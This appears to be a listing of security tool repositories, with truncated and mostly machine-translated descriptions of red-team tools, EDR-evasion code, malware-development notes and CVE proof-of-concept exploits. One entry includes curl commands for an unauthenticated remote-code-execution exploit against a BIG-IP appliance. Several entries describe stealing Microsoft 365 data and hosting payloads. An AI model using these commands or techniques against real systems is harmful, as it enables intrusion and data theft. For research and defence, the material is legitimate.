delete-self-poc

🗑️ delete-self-poc delete-self-poc は、ロックされた実行可能ファイルや現在実行中のファイルをディスクから削除する方法のデモンストレーションです。この概念は当初 Jonas Lykkegaard によって発見され、私はそのための概念実証 POC を作成しました。さらに、現在の呼び出し元プロセスがそれらにアクセスして削除するために必要な権限を持っている場合、ディスク上のロックされたファイルを削除するためにも使用できます。 では、この POC はどのように機能するのでしょうか？ 1. 現在実行中のプロセスへの HANDLE を DELETE...

vulners-scanner

vulners-scanner 설명 호스트 기반 취약점 스캐너의 PoC로, vulners.com API를 사용합니다. 운영체제를 탐지하고 설치된 패키지를 수집하여 취약점을 확인합니다. 지원 OS 현재 다음 운영체제에서 패키지 수집을 지원합니다: Debian 기반 debian, kali, ubuntu Rhel 기반 redhat, centos, fedora Python 버전 Lazy 버전과 Advanced 버전은 python2.6, python2.7, python3.5에서 테스트되었습니다. 버그를 발견하시면 주저하지 말고 이슈를...

OWASP-WSTG-Rag

OWASP WSTG RAG OWASP 웹 보안 테스트 가이드WSTG를 벡터 데이터베이스에 색인화하는 검색 증강 생성RAG 시스템으로, REST API와 MCPModel Context Protocol를 통해 보안 테스트 방법론에 즉시 접근할 수 있으며 Claude Code와 통합됩니다. 특징 완전한 WSTG 범위 - 12개 WSTG 테스트 카테고리 전체가 색인화되어 검색 가능 의미 기반 검색 - 자연어 질의를 사용하여 관련 테스트 방법론을 찾을 수 있음 MCP 통합 - Claude Code와 직접 통합되어 AI 지원 침투...

AzureADEnumeration

Microsoft Entra ID Azure AD 未認証列挙 ソース: EvilMist Toolkit - Invoke-EntraEnum.ps1 - https://github.com/Logisek/EvilMist 1. テナント検出 -TenantInfo 公開 API を使用してテナント情報を検出します。 1.1 azmap.dev API azmap.dev サービスからテナントの詳細を取得します。 Replace DOMAIN with target domain e.g., example.com curl -s...

Nmap-API

Nmap API python3.10, Debian, python-Nmap 및 Flask 프레임워크를 사용하여 온라인에서 빠른 속도로 스캔을 수행할 수 있고 배포가 쉬운 Nmap API를 만듭니다. 이것은 대학 PCL 프로젝트를 위한 구현으로, 아직 개발 중이며 지속적으로 업데이트되고 있습니다. API 참조 모든 항목 가져오기 GET /api/p1/authkey/target GET /api/p2/authkey/target GET /api/p3/authkey/target GET /api/p4/authkey/target GET...

ReconDog

ReconDog 정찰 만능 도구 주요 기능 마법사 + CLA 인터페이스 STDIN파이프 입력에서 대상을 추출하고 처리할 수 있습니다. 모든 정보는 API를 통해 추출되며, 대상에 직접 접촉하지 않습니다. 유틸리티 Censys: censys.io를 사용하여 IP 주소에 대한 방대한 정보를 수집합니다. NS Lookup: 네임 서버 조회를 수행합니다. Port Scan: 가장 일반적인 TCP 포트를 스캔합니다. Detect CMS: 400개 이상의 콘텐츠 관리 시스템을 탐지할 수 있습니다. Whois lookup: whois 조회...

stretcher

Stretcher Stretcher는 공개된 Elasticsearch 서버를 검색하는 도구입니다. Usage: python stretcher.py --shodan key --action analyze --threads 0..100 --dork python stretcher.py --help / // / / // / \ / / / / / / / / / / / // / / / // // / / / / / //// //// //// Tool designed to help identify incorrectly...

pwndrop

pwndrop is a self-deployable file hosting service for sending out red teaming payloads or securely sharing your private files over HTTP and WebDAV. If you've ever needed to quickly set up an nginx/apache web server to host your files and you were never happy with the limitations of python -m...

tiktok-scraper

TikTok Scraper & Downloader Scrape and download useful information from TikTok. No login or password are required This is not an official API support and etc. This is just a scraper that is using TikTok Web API to scrape media and related meta information. Content Features To Do Contribution...

M365Pwned

M365Pwned Microsoft Graph API経由でMicrosoft 365を攻略するためのレッドチームツール。 アプリケーションレベルのOAuthトークンを使用してM365環境からデータを列挙・検索・窃取するための2つのWinForms GUIツールです。ユーザー操作は不要です。 Tool| 対象| 機能 ---|---|--- MailPwned-GUI.ps1| Exchange Online / Outlook| メールボックスの閲覧、メールの検索、添付ファイルのダウンロード、なりすましメールの送信 SharePwned-GUI.ps1| SharePoint /...

MalDev

MalDev 안녕하세요! 제 레포에 오신 것을 환영합니다 : 저는 Captain Magma입니다. 사이버보안, 악성코드 개발 및 분석에 열정을 가진 사람입니다. 이 레포지토리는 제가 학습하면서 노트와 코드로 업데이트하는 MalDev 로드맵을 관리하기 위해 설계되었습니다. 저는 이 기법들의 저자가 아니며, 이는 단지 제가 구현한 것일 뿐입니다. !Important 저는 전문가가 전혀 아니며, 기껏해야 초보자 수준임을 분명히 하고 싶습니다. 그렇기 때문에 이 레포에서 멋진 APT 수준의 악성코드를 기대하지 말아 주세요. 또한 이...

CVE-2025-59057-PoC

React Router の Framework Mode における meta/ API には、script:ld+json タグを生成する際に XSS 脆弱性が存在します。信頼されていないコンテンツを使用してタグを生成した場合、SSR 中に任意の JavaScript が実行される可能性があります。...

Detours

Microsoft Research Detours Package Detours は、Windows 上で API 呼び出しを監視および計装するためのソフトウェアパッケージです。Detours は多くの ISV によって使用されており、Microsoft の製品チームでも使用されています。Detours は現在、標準的なオープンソースライセンス MIT の下で利用可能です。これにより、Detours を使用するプログラマーのライセンス手続きが簡素化され、コミュニティがオープンソースのツールとプロセスを使用して Detours をサポートできるようになります。 Detours は...

CVE-2021-22986-Poc

CVE-2021-22986-Poc これはBIGIP iControlの認証なしRCEのPoCです。 POC : curl -ksu admin:redacted https://192.168.123.134/mgmt/tm/access/bundle-install-tasks -d '"filePath":"id"' | jq . curl -ksu : https://192.168.123.134/mgmt/shared/authn/login -d...

CVE-2022-29072

情報 権限昇格攻撃に関するPoCコードはどこにも公開していません。見つかったPoCコードは権限昇格とは関係ありません。ご了承ください。 7-zipについて 7-Zipは、自由で無料のファイルアーカイバです。7-Zipのコマンドプロンプト版はUnix系システム向けに設計されており、AmigaOSもその中に含まれます。また、DOS用のDost PortやHX-DOS拡張機能を使用してWindowsコマンドプロンプトで実行することも可能です。 CVE-2022-29072 少しだけトルコ語で書きます。あなたもトルコ語を学んでください。...

NTDLL-Unhook

NTDLL 언훅 네이티브 API를 통한 올바른 ntdll .text 섹션 언훅. x86/x64/wow64 지원. 작동 방식 프로그램은 PEB를 탐색하여 ntdll.dll의 기본 주소를 찾고, PE 내보내기 테이블을 수동으로 파싱하여 Import Address Table을 건드리지 않고 NT API 함수를 해석합니다. 그런 다음 NtOpenFile을 사용하여 디스크에서 깨끗한 ntdll.dll을 열고, NtCreateSection으로 섹션 객체를 생성한 후 NtMapViewOfSection으로 프로세스에 매핑하여...

CVE-2025-28062

CVE-2025-28062 — ERPNext 14.82.1、14.74.3におけるアカウント乗っ取りにつながるCSRF脆弱性 📌 概要 ERPNext 14.82.1および14.74.3 にクロスサイトリクエストフォージェリ（CSRF）脆弱性が発見されました。これにより攻撃者は以下のような不正な操作を実行できます： ユーザー列挙 アカウント乗っ取り（パスワードリセット） 任意のユーザー削除 権限昇格（ロールの追加） この脆弱性は、重要な管理APIエンドポイントにCSRF対策が欠如している...

CVE-2025-51862

CVE-2025-51862 脆弱性の説明 TelegAI（AIキャラクターを構築しチャットするためのWebアプリケーション）は、そのチャットコンポーネントにおいてInsecure Direct Object Reference IDOR の脆弱性があります。攻撃者はこのIDORを悪用して他のユーザーの会話を改ざんできます。さらに、悪意のあるコンテンツやXSSペイロードを挿入することで、フィッシング攻撃、ユーザーのなりすまし、およびXSSによるアカウント乗っ取りにつながる可能性がありますCVE-2025-51860。 攻撃ベクトル TelegAIは、会話APIの扱い方に関してInsecu...

xed

Intel® X86 エンコーダー/デコーダー Intel® XED Doxygen API マニュアルとソースビルドマニュアル: https://intelxed.github.io バグ: https://github.com/intelxed/xed/issues/new GITHUB による簡易ビルド手順: git clone https://github.com/intelxed/xed.git xed git clone https://github.com/intelxed/mbuild.git mbuild cd xed ./mfile.py 次に、obj ディレクトリか...

bmcweb

OpenBMC 웹서버 이 구성 요소는 OpenBMC를 위한 '만능' 임베디드 웹서버를 목표로 합니다. 특징 웹서버는 몇 가지 개별 인터페이스를 구현합니다. DBus 이벤트 웹소켓. 특정 dbus 경로, 속성의 변경 사항을 등록할 수 있으며, 필터가 일치하면 웹소켓에서 이벤트를 전송합니다. OpenBMC DBus REST API. dbus 및 그것이 나타내는 객체에 대한 직접적이고 간섭이 적으며 충실도가 높은 액세스를 제공합니다. 시리얼: 웹소켓을 통해 호스트 시리얼 콘솔과 상호작용하기 위한 시리얼 웹소켓입니다. Redfish:...